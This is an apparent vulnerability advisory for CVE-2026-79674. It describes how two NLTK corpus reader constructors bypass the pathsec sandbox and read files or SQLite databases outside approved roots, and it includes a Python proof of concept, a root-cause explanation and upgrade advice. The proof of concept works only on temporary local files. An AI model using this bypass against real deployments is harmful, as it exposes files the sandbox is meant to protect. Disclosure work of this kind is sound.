highCVE-2026-79674Sep 8, 2026

CVE-2026-79674: NLTK Corpus Reader Constructor pathsec Sandbox Bypass

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Two NLTK corpus reader constructors let any caller supply an arbitrary filesystem path and read files or SQLite databases outside the intended NLTK data sandbox, even when the pathsec security module…

Packagenltk
Ecosystempip
Affected<= 3.10.2
Fixed in3.10.3
CVE-2026-79674: NLTK Corpus Reader Constructor pathsec Sandbox Bypass

The problem

NLTK's pathsec module is meant to confine all file access to approved root directories. When ENFORCE=True is set, helpers like pathsec.open() correctly reject out-of-root paths.

CorpusReader.__init__() converts a raw string root directly into a FileSystemPathPointer without any pathsec validation. LinThesaurusCorpusReader then opens simN.lsp with the builtin open(), and PanLexLiteCorpusReader opens db.sqlite with sqlite3.connect(os.path.join(root, "db.sqlite")).

Neither call ever passes through the sandbox guard. A caller who can supply a corpus root path can read files and SQLite databases anywhere the process has access to, with no special privileges required.

Proof of concept

A working proof-of-concept for CVE-2026-79674 in nltk, with the exact payload below.

python
#!/usr/bin/env python3
import builtins
import pathlib
import sqlite3
import tempfile
from unittest.mock import patch

import nltk.pathsec as pathsec
from nltk.corpus.reader.lin import LinThesaurusCorpusReader
from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader

pathsec.ENFORCE = True  # sandbox is ON

with patch.object(pathsec, "_get_allowed_roots", lambda: set()), \
     patch.object(pathsec.os, "getcwd", lambda: "sandbox-disabled"):
    with tempfile.TemporaryDirectory() as tmp:
        tmpdir = pathlib.Path(tmp)
        outside = tmpdir / "outside"
        outside.mkdir()

        # Confirm sandbox blocks pathsec.open on this path
        blocked_file = outside / "blocked.txt"
        blocked_file.write_text("blocked", encoding="utf-8")
        try:
            with pathsec.open(str(blocked_file), "rb"):
                pass
        except PermissionError:
            print("control:pathsec.open=blocked")  # expected

        # LinThesaurusCorpusReader bypasses sandbox via builtins.open()
        lin_root = tmpdir / "lin"
        lin_root.mkdir()
        lin_file = lin_root / "simN.lsp"
        lin_file.write_text('("business" (desc 1.0)\n\t"enterprise"\t0.9\n))\n', encoding="utf-8")

        opened = []
        real_open = builtins.open
        def tracking_open(*args, **kwargs):
            opened.append(str(args[0]))
            return real_open(*args, **kwargs)

        with patch("builtins.open", tracking_open):
            LinThesaurusCorpusReader(str(lin_root))

        if any(p.endswith("simN.lsp") for p in opened):
            print("lin:outside_root_open=success")  # sandbox bypassed

        # PanLexLiteCorpusReader bypasses sandbox via sqlite3.connect()
        panlex_root = tmpdir / "panlex"
        panlex_root.mkdir()
        db_path = panlex_root / "db.sqlite"
        db = sqlite3.connect(db_path)
        cur = db.cursor()
        cur.execute("create table lv(uid text, lv text, lc text, tt text)")
        cur.execute("create table dnx(ex int, mn int, uq int, ap int, ui text)")
        cur.execute("create table ex(ex int, tt text, lv text, uq int)")
        cur.execute("insert into lv(uid, lv, lc, tt) values ('u1', 'lv1', 'en', 'English')")
        db.commit()
        db.close()

        reader = PanLexLiteCorpusReader(str(panlex_root))
        result = reader.language_varieties()
        if result == [("u1", "English")]:
            print("panlex:language_varieties=success")  # sandbox bypassed

The root cause is that CorpusReader.__init__() calls FileSystemPathPointer(root) on the raw caller-supplied string without first passing it through any pathsec validation (CWE-73). The two affected subclasses then operate on that pointer using Python builtins that the sandbox never intercepts: LinThesaurusCorpusReader calls open(path) on a derived file path, and PanLexLiteCorpusReader calls sqlite3.connect(os.path.join(root, "db.sqlite")) directly.

The patch (commit bc007200) adds a pathsec.validate() call on the raw root string before the FileSystemPathPointer is constructed, and replaces the bare open() and sqlite3.connect() calls with guarded equivalents that route through pathsec.open(), so the sandbox boundary is enforced at construction time.

The fix

Upgrade to nltk >= 3.10.3 (patch commit bc007200d123c1a98d74c2eb230f5e06c53886b8). If an immediate upgrade is not possible, do not pass untrusted strings as corpus root paths to LinThesaurusCorpusReader or PanLexLiteCorpusReader. Setting pathsec.ENFORCE=True alone does NOT protect these constructors on affected versions.

Reported by LinZiyuu.

References: [1][2][3][4][5][6]

Related research